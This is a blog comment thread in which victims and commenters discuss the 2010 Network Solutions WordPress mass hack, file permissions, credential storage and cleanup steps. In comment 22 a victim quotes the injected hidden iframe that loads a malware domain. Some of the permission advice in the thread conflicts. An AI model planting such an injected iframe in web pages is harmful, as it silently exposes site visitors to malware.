Details on the Network Solutions / WordPress mass hack

63 comments

1. "So, at the end anyone can be blamed. At WordPress for requiring that the database credentials be stored in clear-text."

   True. But do you have any idea how to avoid this?

2. @anonymous: Yes, you have to configure your wp-config.php properly (750), so other users can't read it…

3. Yes, that solves it. But what I meant, was storing non-clear-text password solution, that would be safe even when you can read it. Otherwise this criticism of wordpress (for requiring plain-text password) makes no sense.

4. That's just awesome,

   I think, wordpress should require users to get some VPS so those users could put a copy of their passwd on the webroot, chmod it to 777 and have something like webdav running, publishing the access details in "about this site" pages!

   On a serious note though, this is a pretty good example of how security is treated like some sort of luxurious thing. Although, anyone can be blamed because everyone failed to take precautions discussed a zillions times, I think users (those who are just interested on publishing things without worrying about how his/her blog platform works) can't totally be blamed.

   Users are only working with a tool provided by someone while someone else provides resources to keep that tool working. While user awareness its a desirable thing, the first thing that should be done is to avoid expecting the user to make security related decisions when there are others (e.g. developers, admins, etc.) in a better position to make things work in a secure way.

5. @Anonymous: even if the password was not stored in clear text format, you'd still need to chmod 750 on the file so no-one else can read it.

   Clear text just makes it a bit easier on getting the credentials since it requires no decrypting step. However it does not excuse the need to store something like that in clear text anyway

   So, yes, the criticism is still valid.

6. WordPress really should just refuse to run until it's config file is xx0. I suppose there are some situations where you'd want world-readable or world-writable, though. Such as if you have a dedicated host /and/ don't want to go through the setup burden of adding your user to the webserver's group, and don't want to su every time you edit the config file. Maybe an allow_unsafe_readable option that must be set if the config file is to be used while not xx0.

   But your comment about the password being cleartext makes no sense. WordPress has to be able to read the password to connect to the database. If it were encrypted, the encryption key would also have to be available to wordpress, either predefined or specified by the user/created at setup. If it's predefined, the attacker could just download WordPress and learn the universal decryption key. If it were specified by the user or created at setup, it would be open to exactly the same permission problems and so just as available to the attacker as the clear-text password was. Either way, encryption would be nothing more than having to specify two passwords, both just as available to any attacker as the current cleartext, with a manual encryption step required for those editing the file directly, making the whole process more complex for nothing more than a false sense of added security.

   This isn't a case of a server only needing to keep a hash for verification, wordpress is a database *client*, and needs to be able to access the true password if it's going to connect to the database.

7. Ok, I get all that, and have made all the necessary changes — but part of this attack was locking some of us out of the wp-admin page. I still have that problem. Any suggestions on how to get back into the admin panel??

   Thanks!

8. how do I " run chmod 750 wp-config.php inside your blog directory "

9. I am seeing a 664 File Permission on the wp-config.php files of hacked sites. They show read/write permissions for both the Owner and the User/Group. The files will not allow me to change them so that Write permissions are for the owner only. I have called and emailed Network Solutions about this.

   I restored the site urls yesterday and they were hacked again today. Until I am able to change the file permissions, I guess it will happen everyday.

   Initial installation of WordPress files was done through Network Solutions "one step" install; upgrades were done through the WordPress automatic updates. I have never changed any file permissions on any files.

10. I have two blogs on my site, and they've both been hit twice now. I logged in at NetSol and tried to change the passwords on the databases, intending to upload copies of the config files with the new ones and chmod-750 them, but the NetSol Database Manager control panel wouldn't put the changes through. I went ahead and fixed the access privileges on the current config copies on the server, but it's kinda pointless since the hackers already have the database user names and passwords.

    Ah well. At least it's better than when I first signed up: back then NetSol didn't even give you access to the databases if you used their automatic blog installation function. If this had happened back then, I'd be completely dependent on their tech staff.

11. My blog was reinfected today (this time it was mainnetsoll.com/grep/), but I was able to restore it within minutes. I've changed all passwords and followed all the good advice, but I'm a writer and not a programmer or a security specialist, so forgive me if I appear dense.

    Having done some research I understand the concept of 750 vs. 755, but the directory info when I use my FTP program shows wp-config.php permissions as rw- rw- r–.

    I don't want to screw around with something I know little about, so do I change the last "read," the middle "write," or is it OK?

12. @Neal: You have to fix your database first (the wp-options->siteurl field). Send us an email dd@sucuri.net if you need more help.

    @Hoop: you have to login via FTP to do that.

    @Mike: You have to change it to be rw-rw—- (meaning no permission to the others).

    Everyone else that needs a more direct help, just send me an email dd@sucuri.net (or via msn – same address).

13. Right after posting I found the chmod command and took care of it.

    Thanks for all the collaborative work and information. I've never seen a hack quite like this one and the rank-and-file response was terrific. Kudos to everyone.

14. are you sure adding the WP_SITEURL field matters? I tested this on a private install and if the SITEURL sql field changes, the site is junked up.

    I think the WP_SITEURL only matters with respect to changing it in the admin panel.

    1) Network Solutions default user name for your SQL account is illegal, so changing the password may look like it takes but it doesn't. Change your user name to not start with a number or have any underscores.

    2) Change your wp_config.php permissions to 640.

    3) Edit your wp_config.php to the new database user and password accounts

    4) Check that you can access your site. You have to make sure you log out of your site and back in if you can't get to the admin pages.

15. " I logged in at NetSol and tried to change the passwords on the databases"

    Change your database user name as well. THe default provided is illegal so SQL rejects your new password. The user name must start with a letter and contain no underscores.

16. rw- r– — leaves a question in my mind. So the file in question is owned by the "apache" user and group. Aren't all users on the site running as the "apache" user, in which case, they would still have permissions to not only read, but write to that file?

17. Why is it the users fault. We did everything they told us yesterday, except swap out the wordpress files. We changed all the passwords etc and today the site went down again. It's rank with that grep virus.

    Why isn't it Network Solutions responsibility to find the rogue and kill it?

    I took an image of the web files from early this morning and my virus checker said the compressed image was infected.

    My partner says do nothing until Network Solutions cleans up their server. I'm a writer trying to keep up with all the "stories"

    What are we supposed to do?

18. looks like binglbalts-dot-com may also be used in some way. It is housed at the same ip:

    http://www.malwaredomainlist.com/mdl.php?search=64.50.165.169

19. Got the word from Network Solutions, they and the people at WP are working to resolve this big hack.

    Do nothing is the suggestion. We took our site down to avoid infecting visitors.

20. I found this post after reading a tweet regarding it from NS. Interesting that all the customers were left to fend for themselves. I mentioned it to the same contact and wasn't advised the blog I manage could have been a victim.

    The WP security scanning plugin used at the site had files suggested to chmod at 644. I changed wp-config to 750 after changing the db password.

    I'm assuming the person who did this probably has the usernames and passwords of two other blogs that were not attacked so those will be changed as well.

    I never found any modified files or new users with admin privs. What was changed in the db?

    Was this person caught?

    At drumpoint.org, a Coast Guard Auxiliary site, the hacker made a dialog box appear that told those connecting that their browser was old and gave a link to an "upgrade." If you clicked it you were sent to an attack site.

    Google and stopbadware.org have marked our site as a hostile badware site. Google isn't moving very fast to correct this even after I verified the site and asked for a review. They say it can take up to two weeks. That's two weeks our reputation is damaged through no fault of our own. I did take steps to follow the security suggestions of the better plugins out there, read all the documents etc. Never read about chmod 750.

    Is there anything else to do? Did the hacker create an invisible user that need to be deleted? How does one find one if one exists?

    Doug Smith
    fso-cs@drumpoint.org

21. We were just reinfected! I had copied over new theme files and did a WP reinstall. I see that the malware host site binglbalts.com is now again in the page at drumpoint.org

22. I found this code in what was the first post at the time of first infection:

    FOR IMMEDIATE RELEASE
    eyeframe frameborder="0" onload=' if (!this.src){ this.src="http://binglbalts.com/grep/"; this.height=0; this.width=0;} '>eyeframe
    Date: March 23, 2010

    Contact: Danita Boonchaisri, Marketing/Communications Specialist

    It looks like netsol change the site_url in the database already but this code remains. When I open the post to edit it this iframe line does not exist inside of it. How is it being inserted?

    I changed the publish status of the post draft and the line is no longer on the front page of the blog.

23. "Change your database user name as well. THe default provided is illegal so SQL rejects your new password. The user name must start with a letter and contain no underscores."

    Well, that explains why I kept seeing this warning message:

    "Please note the following:

    Your username cannot exceed 16 characters in length, consist of lowercase letters, numerical characters and/or underscores. The first character must be a letter. Commas, spaces and backslashes are not allowed."

    Is it just me, or does that first really say that usernames must be 16 or fewer characters, no numbers and all caps? ("…cannot…consist of…") If so, the second sentence makes no sense, since the first rules out non-letters.

    Either way, the NetSol DB control panel will still not put the changes through. Any suggestions? Am I going to have to telnet in and cmd-line the change?

24. To everyone:

    If you can't change via the db, do this:

    Via FTP download your wp-config.php.

    Add this line (changing your site for your site :))
    define('WP_SITEURL', 'yoursite.com');

    Upload the file back. Remove any cache you have and you will be set.

25. Can't thank you guys enough!

26. Sucuri:
    I was able to change the siteurl db and have it take effect even when I had the WP_SITEURL thing in wp-config.php. Maybe I had something else going on.

    Also to the guy who can't change the dbase password:
    Another quirk on NetSol is you have to log out and in of your netsol account before changes take effect, however for user names just make a typical name and password to see you can do it:
    mysql, mysqlpassword

    Pretty sure you will be able to do it, but it is a very confusing panel. MY problem were the underscores and the first letter was a number

27. Organization:

    in the netsol manage your acount area, launch the myphpadmin tool for your blog and there, export it as SQL to your PC.

    Then, open it in notepad or textveiw(mac) or whatever and search for bingl. Also search for networkad.

    I bet you find that he did it through the database.

    As I suggested in the thread on wordpress.org, he could install his own wordpress and point to YOUR database, thus creating posts and users, then deleting things all without ever accessing your site.

28. If you used the Network Solutions install of WordPress it configured the database user to a name that can't be used. When changing the password simply change the username, too. Just putting a random alpha at the beginning is sufficient, or you can change it completely. Of course, make sure you make the corresponding change in wp-config.php.

29. Quick question related to all this 750 instead of 755

    How does the server in this case run? I mean, Seriously.. If apache can read the files, so can every other PHP script on the server on 90% of configurations on shared hosts.

    Usually, apache will be running as apache:apache, files will be owned by username:apache. Therefor, as long as suPHP or suExec are not in use, any apache process (and therefor, PHP) must be able to read the files.

    This is a common problem, its just rare someone uses it to their advantage of spamming…

    To defend WordPress here, Its nothing different from any other web application, it could happen to Drupal or Joomla just as easily.

    Blame the host 100%, not users not setting security correctly on their "private" account files.. Dont blame web applications, they have to store their configuration files somewhere that the web server can read..

30. Network Solutions are telling us to wait out their engineering trying to solve the problem. I guess that sounds reasonable or not? What do you think.

31. @anonymous above:

    The wordpress install can simply chmod their wp-config.php to 640. Apache will read it through the group permissions. "other" allows anybody to read it.

    I will not defend (nor should you) WP by pointing at other systems. Bad is bad.

32. The attacks are not limited to the Database. I took security measures to fix my security based on the information here (new db, new db credentials, locking down wp-config). This morning, my blog was simply not appearing. My browser gave a 404 error. Restored a prior version of the code, and it worked again. It appears the hacker is into the file system.

33. Thanks, it help me fix my blog.

    Btw: wp-config.php should be 640 and not 750. PHP files does not need to be executable…

34. Hi Sucuri people,

    My blog got infected too, but thankfully I found your blog!!

    I implemented everything you suggested:

    1. Changed the database username
    2. Changed the database password
    3. Chmoded wp-config.php to 750
    4. Went to PHP MyAdmin and fixed the URL in wp-options->siteurl

    Doing the above has allowed my blog to appear back to normal (instead of messed up).

    However there's still one problem: I still can't login to the WordPress admin section!!

    This is what happens:

    1. I go to the WordPress admin login page:
    (i.e: http://www.myblog.com/wp-admin).
    2. I type in the username and password
    3. I click on "Log In"

    Normally, after doing the above 3 steps, I would be logged in, but instead, as soon as I hit the "Log In" button, the login page would appear to be loading for about 3 seconds, and then the page reloads and takes me back to the same login page again, with NO error message whatsoever. It just never lets me in, basically.

    How do I fix this??

    Thanks!

35. The host should be running something like suPHP. Therefore all PHP scripts run as that user and not apache. You can then lock down your code to 600 on your PHP files.

36. Awesome work on your role at getting this resolved quickly!

    "This configuration file should only be read by Apache, but some users (well, lots of users) left it in a way that anyone could read it (755 instead of 750 in Linux slang)."

    This would seem to be misinformation in most environments In what configuration would a PHP web script need to be executable?

    "At WordPress for requiring that the database credentials be stored in clear-text."

    What solution would you propose? What other CMS systems do this better?

    "At WordPress again for not installing itself securely by default."

    What solution would you propose? What other CMS systems do this better?

37. How else should WordPress do it? I wasn't aware that there was a better way of handling such things. I thought all popular php based web apps did this and I didn't think there was any problem with it.

38. "WordPress, like all other web applications, must store database connection info in clear text. Encrypting credentials doesn’t matter because the keys have to be stored where the web server can read them in order to decrypt the data. If a malicious user has access to the file system — like they appeared to have in this case — it is trivial to obtain the keys and decrypt the information. When you leave the keys to the door in the lock, does it help to lock the door?"

39. You should read this:
    http://wordpress.org/development/2010/04/file-permissions/

40. MORE:

    "A properly configured web server will not allow users to access the files of another user, regardless of file permissions. The web server is the responsibility of the hosting provider. The methods for doing this (suexec, et al) have been around for 5+ years."

41. amazing. You all have been attacked multiple times by an other N.S. customer on your server. Your hosts are configured such you all can read each others files (at least any files with 644 or less security). What's more amazing is that N.S. didn't simply delete the offenders account the first time. It doesn't have to be this way. There are shared hosting providers who can keep their users secure from each other, and will suspend/delete the account of anyone that even attempts something like this. Time to go shopping.

42. When evaluating a "security expert." it pays to check their credentials. If they aren't programmers they're "posers." I'm seeing more and more of them everyday.

    I'd like to hear more about this technology that makes clear-text keys unnecessary. I had one in my signature for 23 years, and to think all that time there was a better way to do it?

43. Shared host providers ought to look into options to isolate users from each others.

    E.g logins could be chrooted.

    Php/apache I'm not sure how to isolate unless you have on instance per user. Mayhap PHP should be changed to include user isolation options.

    For Windows apps, data protect api can make a file readable by a specific user/system only; copy file to other system and it is useless. Making similar options available would be interesting.

    Imho, a big part of the problem is DAC secutity model applied to shared system with novice users – it simply does not work. System need to implement secutity messures to remain secure even if user ACLs are insecure!

44. "I also have to agree with Network Solutions that this problem can happen at any shared host site."

    Wrong. This can happen at any shared host site that doesn't correctly isolate user account spaces. NetSol did not adequately sandbox user account space which is what led to this problem.

    With correctly sandboxed accounts, the wp-config could be set to permissions 777 (fully control by anyone) and still be safe.

    With that said, it pays to be paranoid and the lesson here is to not trust a shared host to have set things up correctly and setting the most restrictive permissions is a good practice.

    But this has nothing to do with WordPress and everything to do with NetSol inadequately securing their user account spaces.

45. Hey,

    I was a little quick to judge when I posted that snarky comment. After looking around and using your online scanner, I see that you're o.k. guys, you're just wrong-headed about some things. Thanks for the information you provide. I know you're trying . . .

46. I was a victim of the siteurl hack and while cleaning up I found a globalwat.com footer hack on my blog. Anyone know if the two are related?

47. Hi, i'm using wordpress on several sites.

    I checked after reading this post. None was infected.

    All my wp-config.php were in 660 ; i changed it for 640.

    Am I (reasonnably) safe ?

    Thank you.

48. So whats the bottom line here. Was this event an internal breach at NS? Are databases cleaned up now or is there a time bomb lurking on shared hosting servers that has infected everyone's sql database waiting to go off.

    Some accountability please.

49. The attack continues, I am helping a someone clean up a site compromised today on NetSol servers.

50. As a long time WordPress user, like some of the user comments here, I'm more than a little surprised at the wording in the article:-

    #1 – "Wordpress stores the database credentials in plain-text at the wp-config.php file."

    #2 – "So, at the end anyone can be blamed."

    Like ALL PHP scripts (I'm the owner of more than a few), the database connection string is always held in clear text INSIDE a .PHP file. PHP files are only readable in their entirety by your account on the web server, IF it's correctly configured.

    If you try entering the URL to the config file in your browser, you'll get a blank page and rightly so.

    If the connection string was in a non-PHP plain text file e.g. wp-config.TXT, then you'd be able to see the database connection string.

    And that's the whole point.

    If the server is configured correctly, then no-one gets to see your DB connection string because it's tucked inside a .PHP file which only the web server on your account should be able to read.

    What happened here is clear and simple.

    A server misconfig.

    Which brings us onto #2.

    You can't blame the users for a server misconfig. And you can't blame the software for doing what ALL other items of software do in EXACTLY the same way.

    I'll just say it again for clarity…

    What happened here is clear and simple.

    A server misconfig.

    It's not a case of anyone can be blamed at all. WP is in the clear and the users are in the clear.

    I can't understand how anyone could see it in any other way.

    -Frank Haywood

51. As Frank above me says, the order of blame here is:

    1) Network Solutions for having an insecure setup

    Simple as. Sure, users should secure their files properly, but on a shared server you expect your files to all be secured from other shared server users, just as Network Solutions should have realised they were supposed to do this. It's fine to go blaming everyone else but yourself but it only goes to prove you're looking for a scape goat.

    As a web developer, I can say I've worked on over 200 sites each of which store the main db password in plain text as is standard. And I can also say that they're all perfectly safe. Because they're not hosted with Network Solutions.

52. I don't think anyone knows the problem. Sites on GoDaddy and Network Solutions were hacked again last night. Some of them had been hardened against attacks with all known fixes after last week's hacks.

53. It is entirely Network Solutions fault.

    They should secure the home directories of their users such that other users can not access them even if individual files within those home directories have global read access. Example:

    drwxr-x— 95 mike apache 12288 2010-04-17 17:18 /home/mike

    If user mike now creates a globally readable file in his home directory, user fred can't read it…

    This is kids stuff…

54. Of course the above only works if they're using suexec/suphp or similar. If they're not doing that, their security is even more of a joke.

55. I have been hacked with malicious malware four times in the past two years. My host is Network Solutions. Last week my wordpress blog disappeared and this week my web site is gone. In 2009, Net work Solutions blamed my web developer for the lack of security and,the web developer blamed Network Solutions. My site has been under attack this time since December 09 and I have just paid a ton of money to a web tech guy to clean things up, now only three weeks later my site is gone from the web altogether. My ranking with Google is in the tank and my business is suffering. Who do you trust and how are these problems resolved?

56. How about posting an update? NetSol owned up. Your turn?http://blog.networksolutions.com/2010/wordpress-is-not-the-issue/"WordPress is not the issue.by Shashi Bellamkonda on April 14, 2010We wanted to respond to the debate and conversations about the recent incident affecting Network Solutions’ WordPress customers. Recently, our customers have complained about malicious code on certain of their blogs hosted by Network Solutions. This was not an issue with WordPress. Sorry to the WordPress community and customers for any misunderstanding. This issue resulted from a complex combination of factors and we own it. We have taken steps to address this issue and we continue to work to protect our customers. Also we wanted to let you know that no personal or sensitive financial information was taken as a result of this issue.We are learning from this experience. By the way, we like WordPress and continue to use it for a lot of Network Solutions properties such as this blog. Network Solutions customers that need any assistance feel free to email us at listen @ networksolutions.com"

57. 644 is standard, you only get 755 or 777 if you assign rights to it. That said, 755 shouldn't matter at all since the config file doesn't display anything to the browser.

    They probably got root at networksolutions, or some SQL injection and did a grep for wordpress databases and injected their stuff.

58. ^ So it shows you all fail at understanding Linux. So open a Linux textbook/manpage and read the part on Linux shell permissions.

59. I have just gone through all the files of a site that was hacked on NS.(I am a WP developer)

    I changed the URL in the database back to the proper name as said here.

    Also, I will mention that I found most all index.php files were corrupt. There is a line of xss attack(a script code injection) just after the php code.

    So these files might also need to be changed for all of you to access admin properly.
    index.php on:

    root level/index.php
    wp-admin/index.php
    wp-content/index.php
    wp-content/plugins/index.php

    I would check any index.php file you have.
    All of these contained the malicious code.

    I hope this helps someone.

60. Pingback: WordPress Hack and Security Settings – flyingpenguin

61. As a word press user, I would recommend that the php file which stores all user name and passwords should not be made available to every wordpress user unless required by user itself.

62. Pingback: Wordpress Blogs Getting hacked! | Adult Webmaster Blog

63. Having read this I believed it was really enlightening. I appreciate you finding the time and energy to put this content together. I once again find myself personally spending a significant amount of time both reading and commenting. But so what, it was still worthwhile! at yahooforum.net

Comments are closed.